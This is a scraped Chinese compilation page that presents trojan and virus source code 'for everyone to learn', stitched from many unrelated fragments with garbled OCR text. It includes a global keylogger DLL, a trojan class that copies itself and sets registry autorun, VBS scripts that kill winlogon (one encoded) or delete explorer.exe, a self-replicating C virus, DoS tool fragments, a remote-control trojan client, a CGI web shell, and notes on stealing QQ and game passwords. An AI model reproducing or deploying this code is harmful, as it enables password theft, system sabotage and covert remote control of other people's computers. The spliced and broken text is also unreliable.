网上看到的一个用C语言编写的木马源程序代码大家一起学学
C++木马
![C++木马](https://img.taocdn.com/s3/m/079881758e9951e79b8927eb.png)
一个简单的vc++6.0下的木马源码木马源程序,包括客户端和服务端PCSshare的客户端代码:#include "stdafx.h"#include "SshWork.h"#pragma data_seg("Shared")char m_CharFileName[256] = {0};HHOOK g_hook = NULL;HHOOK g_khook = NULL;INITDLLINFO m_InitInfo = {0};BOOL m_IsOk = FALSE;#pragma data_seg()#pragma comment(linker,"/section:Shared,rws")HINSTANCE ghInstance = NULL;SshWork m_Work;BOOL APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_THREAD_A TTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;case DLL_PROCESS_ATTACH:ghInstance = (HINSTANCE) hModule;break;default : break;}return TRUE;}LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam){LRESULT lResult = CallNextHookEx(g_hook, nCode, wParam, lParam);//查看是否为指定进程if(!m_IsOk && m_InitInfo.m_ProcessId == GetCurrentProcessId()){//找到指定进程取消hookm_IsOk = TRUE;if(g_hook) UnhookWindowsHookEx(g_hook);//通知主进程退出HANDLE m_WaitEvent =OpenEvent(EVENT_ALL_ACCESS,FALSE,m_InitInfo.m_EventName);if(m_WaitEvent){SetEvent(m_WaitEvent);CloseHandle(m_WaitEvent);}Sleep(1000);//装载DLL到进程m_Work.m_Module = LoadLibrary(m_InitInfo.m_StartFile);if(m_Work.m_Module){m_Work.StartWork(&m_InitInfo);}}return lResult;}BOOL PlayWork(LPINITDLLINFO pInitInfo){//拷贝数据memcpy(&m_InitInfo,pInitInfo,sizeof(INITDLLINFO));//自进程启动if(pInitInfo->m_ProcessName[0] == 2){m_Work.StartWork(&m_InitInfo);return TRUE;}//检查是否已经启动if(g_hook != NULL) return FALSE;//启动HOOKg_hook = SetWindowsHookEx(WH_DEBUG, GetMsgProc, ghInstance, 0); return (g_hook != NULL);}void WriteChar(char* sText){//加锁HANDLE hMetux = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "PsKey400");if(hMetux != NULL)WaitForSingleObject(hMetux, 300);FILE* fp = fopen(m_CharFileName,"ab");if(fp != NULL){fwrite(sText,strlen(sText),1,fp);fclose(fp);}//取锁if(hMetux != NULL){ReleaseMutex(hMetux);CloseHandle(hMetux);}}LRESULT WINAPI GetKeyMsgProc(int nCode, WPARAM wParam, LPARAM lParam){LRESULT lResult = CallNextHookEx(g_khook, nCode, wParam, lParam);char key[10] = {0};BYTE buffer[256] = {0};WORD m_wchar = 0;UINT m_scan = 0;if ((lParam & 0x40000000) && (nCode == HC_ACTION)){if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>= 0x2f ) &&(wParam<= 0x100)){if (wParam == VK_RETURN){WriteChar("\r\n");}else{GetKeyboardState(buffer);m_scan = 0;ToAscii(wParam,m_scan,buffer , &m_wchar,0);key[0] = m_wchar%255;if(key[0] >= 32 && key[0] <= 126)WriteChar(key);}}}return lResult;}BOOL KeyStartMyWork(){if(g_khook != NULL) return FALSE;GetTempPath(200,m_CharFileName);strcat(m_CharFileName,"pskey.dat");g_khook = SetWindowsHookEx(WH_KEYBOARD,GetKeyMsgProc,ghInstance,0); return (g_khook != NULL);}void KeyStopMyWork(){if(g_khook != NULL) UnhookWindowsHookEx(g_khook);}。
VisualC++很简单的木马代码
![VisualC++很简单的木马代码](https://img.taocdn.com/s3/m/f8f4510fcec789eb172ded630b1c59eef9c79a4b.png)
VisualC++很简单的木马代码Visual C++编程时用到了这些功能,现在我把它组装成一个很简单的木马了.本代码已封装成类方便代码重用:1,自我复制.2,修改注册表自动运行.3,关闭进程.4,启动程序.5,重启关机功能.交流class CTrojanHorse{public://add codepublic://add codeCTrojanHorse();~CTrojanHorse();protected://add codeBOOL IfShell(CString BeKissPrcName);BOOL CopyFileaddr(CString m_CopyFile);void ShellFile(CString m_ShellFile);BOOL SetAutoRun(CString strPath);void ShutDown();private://add code};CTrojanHorse::CTrojanHorse(){//add code}CTrojanHorse::~CTrojanHorse(){//add code}BOOL CTrojanHorse::IfShell(CString BeKissPrcName)//判断程序是否在运行{CString str,a,prcnum;// CMainFrame *pDlg=(CMainFrame *)lparam;//AfxMessageBox(pDlg->BeKissPrcName);HANDLESnapShot=CreateT oolhelp32Snapshot(TH32CS_SNAPPROCESS,0 );SHFILEINFO shSmall;PROCESSENTRY32 ProcessInfo;//声明进程信息变量ProcessInfo.dwSize=sizeof(ProcessInfo);//设置ProcessInfo的大小//返回系统中第一个进程的信息BOOL Status=Process32First(SnapShot,&ProcessInfo);int m_nProcess=0;int num=0;while(Status){ num++;m_nProcess++;ZeroMemory(&shSmall,sizeof(shSmall));//获取进程文件信息SHGetFileInfo(ProcessInfo.szExeFile,0,&shSmall,sizeof(shSmall),SHGFI_ICON|SHGFI_SMALLICON);//str.Format("%08x",ProcessInfo.th32ProcessID);str=ProcessInfo.szExeFile;if(str==BeKissPrcName){AfxMessageBox("找到进程成功!");return true;}//获取下一个进程的信息Status=Process32Next(SnapShot,&ProcessInfo);}AfxMessageBox("失败!");return false;}BOOL CTrojanHorse::CopyFileaddr(CString m_CopyFile)//复制文件{char pBuf[MAX_PATH];CString m_addr;// CString m_strSrcFile1="D:/OperateFile.exe";// CString m_addr="D:/SVCLSV.exe"; //存放路径的变量GetCurrentDirectory(MAX_PATH,pBuf); //获取程序的当前目录strcat(pBuf,"\\");strcat(pBuf,AfxGetApp()->m_pszExeName);strcat(pBuf,".exe");m_addr=pBuf;if(CopyFile(m_addr,m_CopyFile,FALSE)){AfxMessageBox("复制成功!");return true;}return false;}void CTrojanHorse::ShellFile(CString m_ShellFile)//执行所要的程序{ShellExecute(NULL,"open",m_ShellFile,NULL,NULL,SW_SHO WNORMAL);}BOOL CTrojanHorse::SetAutoRun(CString strPath)//修改注册表{CString str;HKEY hRegKey;BOOL bResult;str=_T("Software\\Microsoft\\Windows\\CurrentVersion\\Ru n");if(RegOpenKey(HKEY_LOCAL_MACHINE, str, &hRegKey) != ERROR_SUCCESS)bResult=FALSE;else{_splitpath(strPath.GetBuffer(0),NULL,NULL,str.GetBufferSetL ength(MAX_PATH+1),NULL);strPath.ReleaseBuffer();str.ReleaseBuffer();if(::RegSetValueEx( hRegKey,str,0,REG_SZ,(CONST BYTE *)strPath.GetBuffer(0),strPath.GetLength() ) != ERROR_SUCCESS)bResult=FALSE;elsebResult=TRUE;strPath.ReleaseBuffer();}return bResult;}void CTrojanHorse::ShutDown()//重新启动计算机{if (IDYES == MessageBox("是否现在重新启动计算机?", "注册表提示", MB_YESNO)){OSVERSIONINFO OsVerInfo; //保存系统版本信息的数据结构OsVerInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&OsVerInfo);//取得系统的版本信息CString str1 = "", str2 = "";str1.Format("你的系统信息\n版本为:%d.%d\n", OsVerInfo.dwMajorVersion,OsVerInfo.dwMinorVersion);str2.Format("型号:%d\n", OsVerInfo.dwBuildNumber);str1 += str2;AfxMessageBox(str1);if(OsVerInfo.dwPlatformId == VER_PLATFORM_WIN32_NT) ExitWindowsEx(EWX_REBOOT | EWX_SHUTDOWN, 0); //重新启动计算机}}。
vbs恶作剧(病毒)程序代码
![vbs恶作剧(病毒)程序代码](https://img.taocdn.com/s3/m/c096181c02d8ce2f0066f5335a8102d276a2616c.png)
vbs恶作剧(病毒)程序代码恶作剧(病毒)的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了打开记事本,把代码复制粘贴进去,再另存为*.vbs格式即可操作方法:把代码另存为*.VBS运行即可经本人亲自测试不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束wcscript.exe进程(如下图)即可解决代码的破坏。
结束VBS代码进程vbs恶作剧(病毒)程序代码代码如下:复制代码代码如下:domsgbox "hi"loop无限制的用英文报数复制代码代码如下:Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop复制代码代码如下:if MsgBox("对不起,您灌水太多需要重新启动计算机。
"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将立刻重起wow ~_^",,"你上当了!!"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if复制代码代码如下:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10, 32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115 ,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,1 15,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119, 115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,4 8,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32, 115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45, 99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46, 101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,11 8,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,1 3,10)for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner这个没什么,不过加密了,大家可以解密试试复制代码代码如下:if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide复制代码代码如下:Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0下面的是删除explorer.exe,导致桌面没有显示,不过它事先帮你备份了,为同目录下的explorer.Data复制代码代码如下:set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧慢慢玩哦",27dim WSHshellset WSHshell = wscript.createobject("wscript.shell")for d=0 to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000doa=inputbox("请输入解除关机密码")if a="403746401" thenws.run"shutdown -a"msgbox"密码验证成功,enjoy the best!"exit doelsemsgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancelend ifloopws.popup"哈哈被吓到了吧好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么打本事能做出病毒来!",57ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑。
HanGame木马VC源代码
![HanGame木马VC源代码](https://img.taocdn.com/s3/m/475a53fe910ef12d2af9e7dc.png)
能准确截取
HANGAME玩家登陆的游戏帐号密码游戏房间URL随身钱数
无进程通过80端口传递信息
主要是想让朋友们一起学习键盘钩子老鸟就别看拉
是很一般的作品目前还可以使用的
YoucandownloadChmDecompilerat:/
�
[原创]HanGame木马VC源代码
文章标题:[原创]HanGame木马VC源代码顶部 教主 发布于:2005-09-0700:20 [楼主][原创]HanGame木马VC源代码
软件作者:教主
信息来源:邪恶八进制信息安全团队()
外面流传的很多HANGAME的木马生成器并不能获取到玩家的身上的钱数
附件:DLL版.rar(1269K)下载次数:636(c)Copyleft2003-2007,EvilOctalSecurityTeam.
ThisfileisdecompiledbyanunregisteredversionofChmDecompiler.
Regsiteredversiondoesnotshowthismessage.
C#简单病毒程序
![C#简单病毒程序](https://img.taocdn.com/s3/m/49c08bc289eb172ded63b7f5.png)
3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;
4,重新创建一个同名文件(被感染c文件)
5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数
调用语句写入;
6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;
完全可以写一个TSR驻留函数
其实,这个程序勉强可以叫做病毒
根本不算是真正的病毒,好了就说这么多,
代码如下:
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
c语言以前常用的攻击软件源代码
![c语言以前常用的攻击软件源代码](https://img.taocdn.com/s3/m/4d32dc4f2b160b4e767fcf75.png)
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC\n");
if(argc<3)
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head to:
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
C语言整蛊必备小程序好玩炸翻天附源码(本程序基于控制台其功能是通过dos命令来实现)
![C语言整蛊必备小程序好玩炸翻天附源码(本程序基于控制台其功能是通过dos命令来实现)](https://img.taocdn.com/s3/m/e8a45678a517866fb84ae45c3b3567ec102ddcc7.png)
C语⾔整蛊必备⼩程序好玩炸翻天附源码(本程序基于控制台其功能是通过dos命令来实现)(本程序基于控制台其功能是通过dos命令来实现)前⾔感觉学了c语⾔后仍然⼀⽆是处?!!想要整蛊⼀下朋友仍然不会?!!别慌,看完这篇⽂章,你就会了。
下⾯给⼤家分享两个基础的整蛊⼩程序1.我是猪关机程序2.⽆限弹窗程序⼀、我是猪关机程序效果:运⾏程序后电脑在60s后关机,如果输⼊“我是猪”则取消关机;如果输⼊“你是猪”则⽴即关机;输⼊其他⽂字会提⽰重新输⼊;若强⾏关闭程序电脑仍会关机。
本程序基于控制台,其功能是通过dos命令来实现。
那么就先讲⼀下所⽤到的dos命令(shutdown -s -t 60)1.dos命令(强制关机)1shutdown -s -t 60 -c -f各参数的意思:-s 动作为关机-r 为重启-a 为取消关机-t 60 延迟60秒关机-c “想要显⽰的注释”-f 关机时强制关闭所有程序⽽不显⽰任何警告。
标准格式:(shutdown -s -t xx)t xx是关机延时时间 /秒;xx可以是00,直接关机。
注意:可能输⼊命令后,windows提⽰n分钟后关机,但关机时间仍然是设定的时间。
2.源码注意的是,想使⽤cmd命令,需要调⽤库函数<stdlib.h>话不多说,直接源码#include<stdio.h>#include<stdlib.h>#include<string.h>int main(void){char b[10]='我是猪',c[10]='你是猪',a[10];system('shutdown -s -t 60'); //命令关机do{ //判断输⼊的是否为指定的语句printf('如果不想关机,请(只能输⼊这两句话)输⼊我是猪 or 你是猪只给你⼀分钟时间哦\n');scanf('%s',&a);if(strcmp(a,b)==0){ //判断输⼊的语句system('shutdown -a'); //取消关机命令system('cls'); //清屏函数printf('哈哈哈,okok\n');system('pause'); //暂停函数}if(strcmp(a,c)==0){system('pause');printf('我怀疑你在骂我,那我只好给你关机了\n');system('shutdown -s -t 5'); //5s后关机printf('哈哈哈,拜拜\n');system('pause');}}while(strcmp(a,b)!=0&&strcmp(a,c)!=0);return 0;}整蛊朋友前⼀定提醒他保存当前⽂件哦。
基于VC的一种木马的设计
![基于VC的一种木马的设计](https://img.taocdn.com/s3/m/fc7ec563561252d380eb6ea5.png)
r sa t g a d c o i gwi e c n r l d c mp tr t i d n a d o e et s b ec n r l dc mp tr o e d n e t r n n lsn t t o t l o u e , oh d e n p n t k a t t o tol o u e rs n i g i h h oe h a r oh e f
o t i h u ci n fb sc if r t n o e r moe c n r l d c mp tra o k d i u e a d k y o r , a el d b an t ef n to so a i n o mai ft e t o to l o u e nd lc e t mo s e b a d c nc le o h e s n
和服务端通信如图 1 所示 。
发起连接 端 口监 听
在文本框 中如图 2 所示 。 当 Cin 接收到 Sre 返 回的系统信息 和进程信 息以后 , l t e evr 单击 C et 面 的清 除信息 按钮 就可 以清除掉 文本 框 中的信 ln上 i 息 。本功能不需要要 Sre 和 C et e r v i l n 进行通信 ,l n 通过调用 c et i
h g s e ,nw ih te r a n e ak r o t e iey sd icu e e t ra t ntokscry u e l i hc ,h o ni oeot c e’t lo d l ue ,t a sdag a t eto e r ui . aw l T j s fh h So b w r h w e t
成员 函数 C l n l:O Cen ( f Ci t g : n l eD a )l中的 函数 C l nDg : n Ci tl:O — e Cen )就 可以实现 。 l (f a l 注销 、重启和关机这 三个 功能都是调用 E i n o s x xWidw E 函 t
用C#实现木马程序
![用C#实现木马程序](https://img.taocdn.com/s3/m/01355fea5ef7ba0d4a733bae.png)
用C#实现木马程序本文是探讨木马程序,所以在介绍之前有一些木马构成的基本知识事先说明。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。
控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。
使用的技术:控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。
技术不是很难的,主要体现C#的网络编程和注册表的修改。
控制端开发:控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。
控制端的开发:控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。
1、连接请求使用了.NET类中的.Sockets.TcpClient类,TcpClient(string hostname,int port)Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类private void button7_Click(object sender, System.EventArgs e){//记录操作,在richTextBox控件中增加操作信息richTextBox1.AppendText("请求连接" +textBox1.Text +"\r");int port =6678;try{//初始化TcpClient 类的新实例并连接到指定主机上的指定端口client = new TcpClient(textBox1.Text,port);}catch{MessageBox.Show("服务器不在线!确定是否输入主机名称.");richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");}}//private void buttion2、测试是否与被控制机连接上。
一个简单木马程序
![一个简单木马程序](https://img.taocdn.com/s3/m/750107d49fc3d5bbfd0a79563c1ec5da50e2d646.png)
一个简单木马程序程序清单:客户CPP//客户端代码:服务器CPP//服务器端代码程序代码及说明://client.cpp文件#包括//包括标准I/O库#include//包含windows套接字函数#includeusingnamespacestd;//将注释wsock32放入Lib文件中,否则需要加载#definemaxsize2048//每次可接收的最大字节数#definesend_port2000//与木马程序连接的端口为2000structsockaddr_inclientaddr;//对方的地址端口信息socketsock;//将套接字变量定义为全局变量dwordstartsock()//创建套接字函数模块{wsadatawsdata;//将wsdata的数据类型声明为wsadataif(wsastartup(makeword (2,2),&wsdata)!=0){//makeword(2,2)预定义Winsock版本,并初始化套接字printf(\return(-1);}sock=socket(af_inet,sock_stream,0);//连接另一个Return1;}intmain(intargc,char*argv[]){u_intnumbyte;charbuf[maxsize];//传送数据的缓冲区charip[100];cout<>ip;startsock();//调用建立套接字功能函数clientaddr.sin_family=af_inet;//协议类型是inetclientaddr.sin_port=htons(send_port);//连接对方2000端口clientaddr.sin_addr.s_addr=inet_addr(ip);//连接对方的ip地址connect(sock,(structsockaddr*)&clientaddr,sizeof(structsockaddr));printf(\远程控制木马程序菜单-------------\\r\\n\printf(\--建立windows系统的秘密帐号\\r\\n\printf(\--关闭windows计算机\\r\\n\printf(\--重新启动windows计算机\\r\\n\printf(\--关闭光驱\\r\\n\printf(\--打开光驱\\r\\n\一printf(\--建立cmd进程\\r\\n\printf(\--退出系统\\r\\n\printf(\while(1){buf[0]='\\0';scanf(\输入控制指令intilen=strlen(buf);buf[ilen]=0xa;buf[ilen+1]='\\0';//要求控制指令串最后为回车符,以示结束numbyte=send(sock,buf,strlen(buf),0);//发出控制指令if(numbyte==socket_error){closesocket(sock);break;}numbyte=recv(sock,buf,maxsi ze,0);//接收服务端发来的提示符if(numbyte==socket_error){closesocket(sock);break;}buf[numbyte]='\\0';printf(\显示服务端发来的提示符if(strcmp(buf,\{closesocket(sock);return0;}}return0;}//服务器。
C#木马源代码
![C#木马源代码](https://img.taocdn.com/s3/m/847d5319964bcf84b9d57b37.png)
StreamWriter sw = new StreamWriter(this.saveFileDialog2.FileName, false, Encoding.GetEncoding("gb2312"));
sw.WriteLine(str);
sw.Close();
using System.Text;
using System.Windows.Forms;
using System.IO;
using ;
using System.Resources;
using System.Reflection;
namespace 云风WebShell生成器
}
}
private void Form1_SizeChanged(object sender, EventArgs e)
{
if (this.WindowState == FormWindowState.Minimized)
{
notifyIcon1.Visible = true;
sw.WriteLine(str);
sw.Close();
MessageBox.Show("木马生成成功!", "提示!");
}
}
else
{
MessageBox.Show("输入密码不能为空!", "提示!");
}
}
private void button25_Click(object sender, EventArgs e)
MessageBox.Show("木马生成成功!", "提示!");
C语言写病毒,木马
![C语言写病毒,木马](https://img.taocdn.com/s3/m/afcc11eabb0d4a7302768e9951e79b8968026811.png)
C语言写病毒,木马以前在网吧花了大投资的游戏账号被心痛的盗过一次,于是到了大学就傻逼傻逼的想写病毒,木马,出出风头,然后到处到处搜索,相关方法,以为这样就能写出病毒木马。
一直持续到前段日子,偶尔看到一本关于杀毒软件是怎么查杀木马的资料,才知晓自己当时的做法是多么的愚蠢,当时想到的一些方法,很多年前都被人想到了。
看到的资料是也是前几年的。
你说防病毒的书都不看还怎么写病毒。
目前还是老实的学习吧,计算机是一门发展飞速的技术,以前我们只要学一点就能耀武扬威。
现在这法子行不通了。
大学课堂上的教材落后于外面技术发展5年。
大家还是多去图书馆看点实在的书吧。
技术不是艺术。
光有天赋是远远不够的。
病毒的特征,windows中的autorun.inf 能自动运行以任意方式执行文件shellexecute命令Autorun的免疫程序可以防止inf再次被其他文件修改利用外面的脚本语言给定的参数选择性运行程序的某种方案(例如.dos.shell.bat,autorun.inf......)利用new,进程ID,read,write,和。
利用把exe变成rc文件用vc打开import 你想要的应用程序ico图标文件领悟了一点晚上回去补上貌似改变当前程序运行的工作目录,就可以对自己进行自我删除这就是传说中的自我销毁?待测试#include <stdio.h>#include <direct.h>#include <windows.h>#include <string.h>int main(int argc,char *argv[]){char pwd[40]="del ";chdir("c:\\");strcat(pwd,argv[0]);system(pwd);return 0;}linux中有这么一句话:在进程运行过程中,当前目录所在的文件系统是不能卸载的,,,如何理解??待解决?跟自我销毁有什么关系?在linux中的这段代码红色部分不会执行,??为何?rm 到底删除的是什么?我们把中的rm改成其他命令下面的也不会运行看来这是exec函数族的机制问题,待考证#include<stdio.h>#include<unistd.h>int main(int argc,char *argv[]){if( execlp("rm","rm",argv[0],NULL) < 0){perror("execlp error:");}else fprintf(stdout,"delmyself success!\n");printf("del success\n");return 0;}试验证明这段代码调试能过但运行会出错/ 显示。
c语言木马源代码教程 (扫盲 进阶 深度剖析)
![c语言木马源代码教程 (扫盲 进阶 深度剖析)](https://img.taocdn.com/s3/m/bddee30679563c1ec5da7174.png)
目录一. 疱丁解马-木马查杀深度剖析之扫盲篇 (1)二. 疱丁解马-木马查杀深度剖析之进程篇(一) (3)三. 疱丁解马-木马查杀深度剖析之进程篇(二) (7)四. 疱丁解马-木马查杀深度剖析之进程篇(三) (12)五. 疱丁解马-木马查杀深度剖析之进程篇(四) (18)六. 疱丁解马-木马查杀深度剖析之自启动项篇(一) (24)七. 疱丁解马-木马查杀深度培析之自启动项篇(二) (30)八. 疱丁解马-木马查杀深度培析之自启动项篇(三) (35)九. 疱丁解马-木马查杀深度培析之自启动项篇(四) (41)十. 疱丁解马-木马查杀深度剖析之文件篇(一) (46)十一.疱丁解马-木马查杀深度剖析之文件篇(二) (52)十二.疱丁解马-木马查杀深度剖析之文件篇(三) (61)疱丁解马-木马查杀深度剖析之扫盲篇一、前言在进入正文之前呢,容我先说几句废话。
在写此文之前,我曾写过一篇“高级木马的自我保护技术与查杀之策”,承蒙各位朋友的厚爱,被各网站所转载,亦曾有许多朋友来信求助。
由于该文是心血来潮后的随笔所写,所以并没有经过深思熟虑,也并没有脉络可循,至使有的朋友能看懂,有的却看不懂。
而看得懂的呢,亦有很大一部分并不能真正的应用文中所提的查杀技巧。
故一直有心再写一篇文章,帮助深受木马毒害的朋友们了解木马是什么,又如何查杀。
本文适于下列人员阅读:能熟练使用计算机的人想自己动手解决问题的人钱没有多到电脑一出问题就扔到电脑修理公司的人适于下列人员参考:电脑维修人员微机管理人员安全相关的程序开发人员本文所要达到的目的是:让菜鸟也可以了解系统安全自己来动手查毒杀马,由求助者变为帮助它人者。
在杀毒软件无能为力的情况下,借助本文的知识让你仍然能借助工具完成清理查杀的任务。
让您真正的明白一些看似神秘的、高深莫测的专用术语与技术的内幕。
让您了解Windows系统的底层知识。
本文以手动查杀为主,辅以必要的工具,文中用到的工具与测试用的仿木马小程序都提供了下载地址,供朋友们下载试用。
一个简单木马的源代码
![一个简单木马的源代码](https://img.taocdn.com/s3/m/b9f31b2d2af90242a895e5fb.png)
代码没给大家讲解,不知道看懂没。
所以,现在我原理给大家说一下,腾讯QQ 安装了两个钩子一个是WH_DEBUG,还有一个是WH_KEYBOARD_LL,当QQ的密码框获得焦点的时候DEBUG钩子就开始用SendInput发送乱码,在QQ启动的时候也会先调用SendInput发送一个乱码,所以就挂钩SendInput 这个函数,我们正确安装按键的时候QQ会通过WH_KERBOARD_LL低级钩子,发送一个错误的按键信息,在这里通过分析,发现在WIN7系统上真实的按键的就在0x12faa0处记录着,挂钩之后判断一下来源,if(nRetAddress!=0x74F3&&nRetAddress!=0x7374) ,就排除不是真实按键调用的,当然上面这句我们是WIn7上的地址,所有有朋友说,在XP上不行,由于我是WIN7的系统,还没装XP的虚拟机,所以并没添加这个判断,传进来的pInputs等我们基本上就不用去管他,然后通过if(pInputs->ki.dwFlags==0)判断是否是键盘按下,如果是按下,我们就开始记录。
DWORD nRetAddress=0;_asm{mov eax,0mov ax,[ebp+4]mov nRetAddress,eax}if(nRetAddress!=0x74F3&&nRetAddress!=0x7374)这就是取得是什么地方在调用SendInput.char key=0;_asm{mov ebx,0x12faa0mov eax,0mov al,[ebx]mov key,al}获取真实的按键,稍后我换上XP系统后,会将这个几个关键西方的发出,大家就可以在XP上也能使用这个木马了。
有人会问为什么我的文件是User32Hook.cpp 实际挂钩的是SendInput,这个是因为,我用OD分析的时候发现在User32.dll 中有一个固定地址通过[ebp+c]之后也可以获取到键盘按下的真实按键信息,只要挂钩在那里,也是可以获得真确的按键信息,然后写出木马,并且可以早于QQ的WH_KEYBOARD_LL钩子获取真实按键,就算QQ在WH_KEYBOARD_LL把WIN7下地址为0x12faa0的真实按键信息清0,也是没有用的,兴趣的朋友,就在WH_KEYBOARD_LL上下段,然后往上跟就会看到了。
用c编写的木马
![用c编写的木马](https://img.taocdn.com/s3/m/d8de3610a2161479171128e7.png)
****($execthis);
syswrite(STDOUT, "rnrn", 17);
close(STDERR);
close(STDOUT);
exit;
[/code]
qs = getenv("QUERY_STRING");
if (qs != NULL) {
for (x = 0, i = 0; qs[i]; x++, i++) {
if ((qs[x] = qs[i]) == '%') {
qs[x] = x2c(&qs[i + 1]);
i += 2;
}
footer();
return(0);
}
char x2c(char *what)
{
register char digit;
digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A')+10 : (what[0] - '0'));
}
}
qs[x] = '';
for (x = 0; qs[x]; x++) {
if (qs[x] == ';
}
}
header(qs);
out = popen(qs, "r");
C语言病毒代码
![C语言病毒代码](https://img.taocdn.com/s3/m/bac9501d854769eae009581b6bd97f192279bf7d.png)
C语⾔病毒代码在下⾯的部分加上传染部分就可以了,⽐如email发送被点击时触发,附加到其他普通软件条件触发等C语⾔病毒代码#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/* copy outfile to infile */void copyfile(char *infile, char *outfile){FILE *in,*out;in = fopen(infile,"r");out = fopen(outfile,"w");while (!feof(in)){fputc(fgetc(in),out);}fclose(in);fclose(out);}/*This function named Rubbishmaker.*/void MakeRubbish(){int i;FILE *fp;char *path;char *NewName;char *disk[7] = {"A","B","C","D","E","F","G"}; char *addtion = ":\\";/* Make some rubbish at the current catalogue */for (i = 0; i<5; i++){char tempname[] = "XXXXXX" ;NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}/* make some rubbish at the root catalogue */path = strcat(disk[getdisk()],addtion); /* get the root catalogue */chdir(path); /*change directory according to the "path" */for (i = 0; i<5; i++){char tempname[] = "XXXXXX";NewName = mktemp(tempname);fp = fopen(NewName,"w");fclose(fp);}}This function can creat some .exe or .com documents in the sensitive place.Don't worry,It's only a joke.It will do no harm to your computer.*/void CreatEXE(){int i;char *path;char 